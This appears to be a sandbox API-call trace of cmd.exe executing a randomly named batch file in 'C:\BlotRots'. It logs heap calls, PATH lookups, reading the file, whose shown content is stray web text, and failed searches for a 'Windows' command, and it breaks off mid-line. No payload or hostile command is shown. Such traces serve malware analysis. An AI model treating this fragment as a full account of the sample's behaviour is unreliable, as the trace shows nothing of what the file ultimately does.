[0161.163] SetErrorMode (uMode=0x0) returned 0x0 [0161.163] SetErrorMode (uMode=0x1) returned 0x0 [0161.163] GetFullPathNameW (in: lpFileName="C:\\BlotRots\\.", nBufferLength=0xffce, lpBuffer=0x20b0f9465f0, lpFilePart=0x9cb92ff0e0 | out: lpBuffer="C:\\BlotRots", lpFilePart=0x9cb92ff0e0*="BlotRots") returned 0xb [0161.163] SetErrorMode (uMode=0x0) returned 0x1 [0161.163] GetProcessHeap () returned 0x20b0f920000 [0161.163] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9465e0, Size=0x6a) returned 0x20b0f9465e0 [0161.163] GetProcessHeap () returned 0x20b0f920000 [0161.163] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9465e0) returned 0x6a [0161.163] NeedCurrentDirectoryForExePathW (ExeName="C:\\BlotRots\\.") returned 1 [0161.163] GetProcessHeap () returned 0x20b0f920000 [0161.163] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x2e) returned 0x20b0f9219f0 [0161.163] GetProcessHeap () returned 0x20b0f920000 [0161.163] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x48) returned 0x20b0f927c40 [0161.163] GetProcessHeap () returned 0x20b0f920000 [0161.163] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f927c40, Size=0x2e) returned 0x20b0f927c40 [0161.163] GetProcessHeap () returned 0x20b0f920000 [0161.163] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f927c40) returned 0x2e [0161.163] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0161.163] GetProcessHeap () returned 0x20b0f920000 [0161.163] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f927c90 [0161.167] GetProcessHeap () returned 0x20b0f920000 [0161.167] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f927c90, Size=0x7e) returned 0x20b0f927c90 [0161.168] GetProcessHeap () returned 0x20b0f920000 [0161.168] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f927c90) returned 0x7e [0161.168] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.168] FindFirstFileExW (in: lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd", fInfoLevelId=0x1, lpFindFileData=0x9cb92fee50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fee50) returned 0x20b0f927d20 [0161.168] GetProcessHeap () returned 0x20b0f920000 [0161.168] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x0, Size=0x28) returned 0x20b0f927d80 [0161.168] FindClose (in: hFindFile=0x20b0f927d20 | out: hFindFile=0x20b0f927d20) returned 1 [0161.168] _wcsicmp (_String1=".cmd", _String2=".CMD") returned 0 [0161.168] ??_V@YAXPEAX@Z () returned 0x1 [0161.168] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92ff3d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0161.169] GetProcessHeap () returned 0x20b0f920000 [0161.169] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1e8) returned 0x20b0f927db0 [0161.169] malloc (_Size=0xffce) returned 0x20b0fa40040 [0161.169] ??_V@YAXPEAX@Z () returned 0x20b0fa40040 [0161.169] ApiSetQueryApiSetPresence () returned 0x0 [0161.169] ResolveDelayLoadedAPI () returned 0x7ff9dcff1090 [0161.176] SaferWorker () returned 0x0 [0161.190] SetErrorMode (uMode=0x0) returned 0x0 [0161.191] SetErrorMode (uMode=0x1) returned 0x0 [0161.191] GetFullPathNameW (in: lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd", nBufferLength=0x7fe7, lpBuffer=0x20b0f936600, lpFilePart=0x9cb92fef90 | out: lpBuffer="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd", lpFilePart=0x9cb92fef90*="djsfgytdftftyYFGfghffghYYTTT.cmd") returned 0x2c [0161.191] SetErrorMode (uMode=0x0) returned 0x1 [0161.191] malloc (_Size=0x4000) returned 0x20b0f7154f0 [0161.191] GetProcessHeap () returned 0x20b0f920000 [0161.191] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x6e) returned 0x20b0f926930 [0161.191] wcsspn (_String=" ", _Control=" \x09") returned 0x1 [0161.191] GetProcessHeap () returned 0x20b0f920000 [0161.191] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x12) returned 0x20b0f926230 [0161.191] GetProcessHeap () returned 0x20b0f920000 [0161.191] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x14) returned 0x20b0f9260f0 [0161.191] GetProcessHeap () returned 0x20b0f920000 [0161.191] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9260f0, Size=0x14) returned 0x20b0f926250 [0161.191] GetProcessHeap () returned 0x20b0f920000 [0161.191] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f926250) returned 0x14 [0161.191] ??_V@YAXPEAX@Z () returned 0x1 [0161.191] CmdBatNotificationStub () returned 0x0 [0161.192] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x98 [0161.192] _open_osfhandle (_OSFileHandle=0x98, _Flags=8) returned 3 [0161.192] _get_osfhandle (_FileHandle=3) returned 0x98 [0161.192] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.192] _get_osfhandle (_FileHandle=3) returned 0x98 [0161.192] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.192] ReadFile (in: hFile=0x98, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x17b5, lpOverlapped=0x0) returned 1 [0161.193] SetFilePointer (in: hFile=0x98, lDistanceToMove=110, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e [0161.193] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=110, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ... \r\n") returned 110 [0161.196] _get_osfhandle (_FileHandle=3) returned 0x98 [0161.196] GetFileType (hFile=0x98) returned 0x1 [0161.196] _get_osfhandle (_FileHandle=3) returned 0x98 [0161.196] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6e [0161.196] GetProcessHeap () returned 0x20b0f920000 [0161.196] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f946660 [0161.196] GetProcessHeap () returned 0x20b0f920000 [0161.196] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946660) returned 1 [0161.197] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0161.197] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0161.197] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0161.197] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0161.197] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0161.197] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0161.197] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0161.197] GetProcessHeap () returned 0x20b0f920000 [0161.197] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f9269b0 [0161.197] GetProcessHeap () returned 0x20b0f920000 [0161.199] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f928040 [0161.201] GetProcessHeap () returned 0x20b0f920000 [0161.201] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xce) returned 0x20b0f926a70 [0161.202] _tell (_FileHandle=3) returned 110 [0161.202] _close (_FileHandle=3) returned 0 [0161.204] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0161.204] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.204] GetFileType (hFile=0x50) returned 0x2 [0161.204] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0161.204] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0161.209] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.209] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0161.210] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0161.210] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0161.210] malloc (_Size=0x107ce) returned 0x20b0fa50160 [0161.211] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0161.211] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0161.211] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.211] GetFileType (hFile=0x50) returned 0x2 [0161.211] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0161.211] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0161.212] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.212] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0161.213] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.213] GetFileType (hFile=0x50) returned 0x2 [0161.213] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0161.214] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0161.227] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.227] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f928050*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f928050*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0161.228] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ... ") returned 95 [0161.228] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.228] GetFileType (hFile=0x50) returned 0x2 [0161.228] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0161.228] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0161.228] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.228] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x5f, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x5f) returned 1 [0161.230] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0161.230] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.230] GetFileType (hFile=0x50) returned 0x2 [0161.230] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0161.230] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0161.230] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.230] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0161.230] malloc (_Size=0xffce) returned 0x20b0fa60940 [0161.231] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0161.231] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0161.231] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0161.231] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0161.231] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0161.231] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0161.231] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0161.231] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0161.231] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0161.231] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0161.231] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0161.232] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0161.232] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0161.232] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0161.232] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0161.232] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0161.232] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0161.232] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0161.232] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0161.232] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0161.232] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0161.232] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0161.232] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0161.232] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0161.232] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0161.232] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0161.232] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0161.232] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0161.232] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0161.232] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0161.232] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0161.232] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0161.232] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0161.232] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0161.232] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0161.232] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0161.232] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0161.232] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0161.232] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0161.232] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0161.232] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0161.232] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0161.232] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0161.232] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0161.232] malloc (_Size=0xffce) returned 0x20b0fa70920 [0161.233] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0161.233] GetProcessHeap () returned 0x20b0f920000 [0161.233] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f946660 [0161.235] SetErrorMode (uMode=0x0) returned 0x0 [0161.235] SetErrorMode (uMode=0x1) returned 0x0 [0161.235] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f946670, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0161.235] SetErrorMode (uMode=0x0) returned 0x1 [0161.235] GetProcessHeap () returned 0x20b0f920000 [0161.235] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f946660, Size=0x48) returned 0x20b0f946660 [0161.235] GetProcessHeap () returned 0x20b0f920000 [0161.235] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f946660) returned 0x48 [0161.235] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0161.235] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0161.235] GetProcessHeap () returned 0x20b0f920000 [0161.235] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f926b50 [0161.235] GetProcessHeap () returned 0x20b0f920000 [0161.235] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92ca50 [0161.240] GetProcessHeap () returned 0x20b0f920000 [0161.240] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92ca50, Size=0x1b6) returned 0x20b0f92ca50 [0161.240] GetProcessHeap () returned 0x20b0f920000 [0161.240] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92ca50) returned 0x1b6 [0161.240] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0161.240] GetProcessHeap () returned 0x20b0f920000 [0161.240] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f926d10 [0161.241] GetProcessHeap () returned 0x20b0f920000 [0161.241] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f926d10, Size=0x7e) returned 0x20b0f926d10 [0161.241] GetProcessHeap () returned 0x20b0f920000 [0161.241] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f926d10) returned 0x7e [0161.241] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.241] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92cdf0 [0161.241] GetProcessHeap () returned 0x20b0f920000 [0161.241] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f927d80, Size=0x8) returned 0x20b0f927d80 [0161.241] FindClose (in: hFindFile=0x20b0f92cdf0 | out: hFindFile=0x20b0f92cdf0) returned 1 [0161.241] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.241] GetLastError () returned 0x2 [0161.241] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.242] GetLastError () returned 0x2 [0161.242] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.242] GetLastError () returned 0x2 [0161.242] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.242] GetLastError () returned 0x2 [0161.242] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.242] GetLastError () returned 0x2 [0161.242] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.242] GetLastError () returned 0x2 [0161.242] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.243] GetLastError () returned 0x2 [0161.243] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.243] GetLastError () returned 0x2 [0161.243] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.243] GetLastError () returned 0x2 [0161.243] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.243] GetLastError () returned 0x2 [0161.243] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.243] GetLastError () returned 0x2 [0161.243] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.243] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.246] GetLastError () returned 0x2 [0161.246] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.247] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92cd90 [0161.247] FindClose (in: hFindFile=0x20b0f92cd90 | out: hFindFile=0x20b0f92cd90) returned 1 [0161.247] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.247] GetLastError () returned 0x2 [0161.247] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.247] GetLastError () returned 0x2 [0161.247] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.247] GetLastError () returned 0x2 [0161.247] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.247] GetLastError () returned 0x2 [0161.247] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.248] GetLastError () returned 0x2 [0161.248] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.248] GetLastError () returned 0x2 [0161.248] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.248] GetLastError () returned 0x2 [0161.248] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.248] GetLastError () returned 0x2 [0161.248] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.248] GetLastError () returned 0x2 [0161.248] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.248] GetLastError () returned 0x2 [0161.248] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.249] GetLastError () returned 0x2 [0161.249] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.249] FindFirstFileExW (in: 